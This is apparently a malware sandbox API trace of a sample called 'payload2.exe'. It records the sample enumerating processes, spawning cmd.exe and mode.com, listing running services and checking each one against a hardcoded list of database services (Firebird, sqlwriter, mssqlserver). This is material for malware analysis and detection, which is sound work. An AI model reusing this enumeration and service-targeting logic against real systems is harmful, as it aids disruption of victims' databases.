	[0173.469] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0173.470] lstrlenW (lpString="spoolsv.exe") returned 11
	[0173.470] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.470] lstrlenW (lpString="svchost.exe") returned 11
	[0173.470] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0173.471] lstrlenW (lpString="audiodg.exe") returned 11
	[0173.471] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0173.471] lstrlenW (lpString="sihost.exe") returned 10
	[0173.471] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.473] lstrlenW (lpString="svchost.exe") returned 11
	[0173.473] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0173.474] lstrlenW (lpString="taskhostw.exe") returned 13
	[0173.474] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0173.474] lstrlenW (lpString="msoia.exe") returned 9
	[0173.474] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0173.475] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0173.475] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0173.475] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0173.475] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0173.476] lstrlenW (lpString="Memory Compression") returned 18
	[0173.476] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0173.477] lstrlenW (lpString="explorer.exe") returned 12
	[0173.477] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0173.477] lstrlenW (lpString="SearchUI.exe") returned 12
	[0173.477] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0173.478] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0173.478] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0173.478] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0173.478] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0173.479] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0173.479] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0173.479] lstrlenW (lpString="payload2.exe") returned 12
	[0173.480] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0173.480] lstrlenW (lpString="cmd.exe") returned 7
	[0173.480] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.481] lstrlenW (lpString="conhost.exe") returned 11
	[0173.481] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0173.481] lstrlenW (lpString="mode.com") returned 8
	[0173.481] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0173.482] CloseHandle (hObject=0x588) returned 1
	[0173.482] Sleep (dwMilliseconds=0x1f4) 
	[0174.085] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x667fe8
	[0174.085] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0174.086] GetLastError () returned 0xea
	[0174.086] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c64c0
	[0174.086] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c64c0, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c64c0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0174.087] CloseServiceHandle (hSCObject=0x667fe8) returned 1
	[0174.087] lstrlenW (lpString="Appinfo") returned 7
	[0174.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0174.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0174.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0174.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0174.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0174.088] lstrlenW (lpString="AppXSvc") returned 7
	[0174.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0174.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0174.088] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0174.088] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0174.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0174.088] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0174.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0174.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0174.088] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0174.088] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0174.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0174.088] lstrlenW (lpString="Audiosrv") returned 8
	[0174.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0174.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0174.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0174.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0174.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0174.088] lstrlenW (lpString="BFE") returned 3
	[0174.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0174.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0174.088] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0174.088] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0174.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0174.088] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0174.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0174.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0174.088] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0174.088] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0174.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0174.088] lstrlenW (lpString="CDPSvc") returned 6
	[0174.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0174.089] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0174.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0174.089] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0174.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0174.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0174.089] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0174.089] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0174.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0174.089] lstrlenW (lpString="CryptSvc") returned 8
	[0174.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0174.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0174.089] lstrlenW (lpString="DcomLaunch") returned 10
	[0174.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0174.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0174.089] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0174.089] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0174.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0174.089] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0174.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0174.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0174.089] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0174.089] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0174.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0174.090] lstrlenW (lpString="Dhcp") returned 4
	[0174.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0174.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0174.090] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0174.090] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0174.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0174.090] lstrlenW (lpString="Dnscache") returned 8
	[0174.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0174.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0174.090] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0174.090] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0174.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0174.090] lstrlenW (lpString="DPS") returned 3
	[0174.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0174.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0174.090] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0174.090] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0174.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0174.090] lstrlenW (lpString="DsmSvc") returned 6
	[0174.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0174.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0174.090] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0174.090] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0174.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0174.090] lstrlenW (lpString="DusmSvc") returned 7
	[0174.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0174.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0174.090] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0174.090] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0174.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0174.090] lstrlenW (lpString="EventLog") returned 8
	[0174.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0174.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0174.091] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0174.091] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0174.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0174.091] lstrlenW (lpString="EventSystem") returned 11
	[0174.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0174.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0174.091] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0174.091] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0174.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0174.091] lstrlenW (lpString="FontCache") returned 9
	[0174.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0174.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0174.091] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0174.091] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0174.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0174.091] lstrlenW (lpString="gpsvc") returned 5
	[0174.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0174.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0174.091] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0174.091] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0174.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0174.091] lstrlenW (lpString="iphlpsvc") returned 8
	[0174.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0174.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0174.091] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0174.091] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0174.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0174.091] lstrlenW (lpString="KeyIso") returned 6
	[0174.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0174.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0174.091] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0174.092] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0174.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0174.092] lstrlenW (lpString="LanmanServer") returned 12
	[0174.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0174.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0174.092] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0174.092] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0174.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0174.092] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0174.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0174.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0174.092] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0174.092] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0174.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0174.106] lstrlenW (lpString="lfsvc") returned 5
	[0174.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0174.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0174.106] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0174.106] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0174.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0174.106] lstrlenW (lpString="lmhosts") returned 7
	[0174.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0174.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0174.106] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0174.106] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0174.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0174.106] lstrlenW (lpString="LSM") returned 3
	[0174.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0174.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0174.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0174.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0174.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0174.107] lstrlenW (lpString="MpsSvc") returned 6
	[0174.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0174.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0174.107] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0174.107] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0174.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0174.107] lstrlenW (lpString="NcbService") returned 10
	[0174.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0174.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0174.107] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0174.107] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0174.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0174.107] lstrlenW (lpString="netprofm") returned 8
	[0174.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0174.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0174.107] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0174.107] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0174.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0174.107] lstrlenW (lpString="NgcSvc") returned 6
	[0174.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0174.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0174.107] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0174.107] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0174.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0174.107] lstrlenW (lpString="NlaSvc") returned 6
	[0174.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0174.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0174.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0174.189] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0174.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0174.189] lstrlenW (lpString="nsi") returned 3
	[0174.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0174.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0174.190] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0174.190] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0174.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0174.190] lstrlenW (lpString="PcaSvc") returned 6
	[0174.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0174.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0174.190] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0174.190] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0174.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0174.190] lstrlenW (lpString="PlugPlay") returned 8
	[0174.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0174.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0174.190] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0174.190] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0174.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0174.190] lstrlenW (lpString="Power") returned 5
	[0174.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0174.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0174.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
